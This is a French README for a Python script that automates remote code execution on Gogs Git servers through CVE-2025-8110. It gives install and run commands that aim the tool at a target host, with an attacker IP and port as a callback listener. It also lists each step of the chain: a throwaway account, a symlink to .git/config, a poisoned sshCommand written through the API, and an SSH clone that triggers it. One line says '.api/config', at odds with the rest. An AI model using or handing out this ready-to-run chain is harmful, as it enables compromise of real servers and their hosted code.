GOGS RCE cve-2025-8110 script Python qui automatise toute la chaîne d'attaque : création d'un dépôt avec un fichier de lien symbolique pointant vers .git/config, puis déclenchement d'une RCE via une commande sshCommand empoisonnée sur le fichier de configuration.
Gogs est un service Git léger et auto-hébergé, similaire à une version privée de GitHub, conçu pour fonctionner facilement sur des serveurs à faible ressources. La vulnérabilité CVE-2025-8110 est une faille de sécurité critique qui permet à un attaquant de contourner les restrictions de chemin en utilisant des liens symboliques. En téléchargeant un lien malveillant pointant vers .api/config, un attaquant peut utiliser l'API Gogs pour intégrer un fichier de configuration malveillant avec le paramètre sshCommand et exécuter du code à distance (RCE) sur le serveur hôte.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Print help
python3 ./cve-2025-8110.py --help
# Execute the attack chain with register step
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Execute the attack chain skipping register | useful when register func returns err statement
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
Ce script suit une chaîne d'attaque impliquant les étapes suivantes :
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
Ce script a été réalisé en utilisant le PoC de zAbuQasem (https://github.com/zAbuQasem)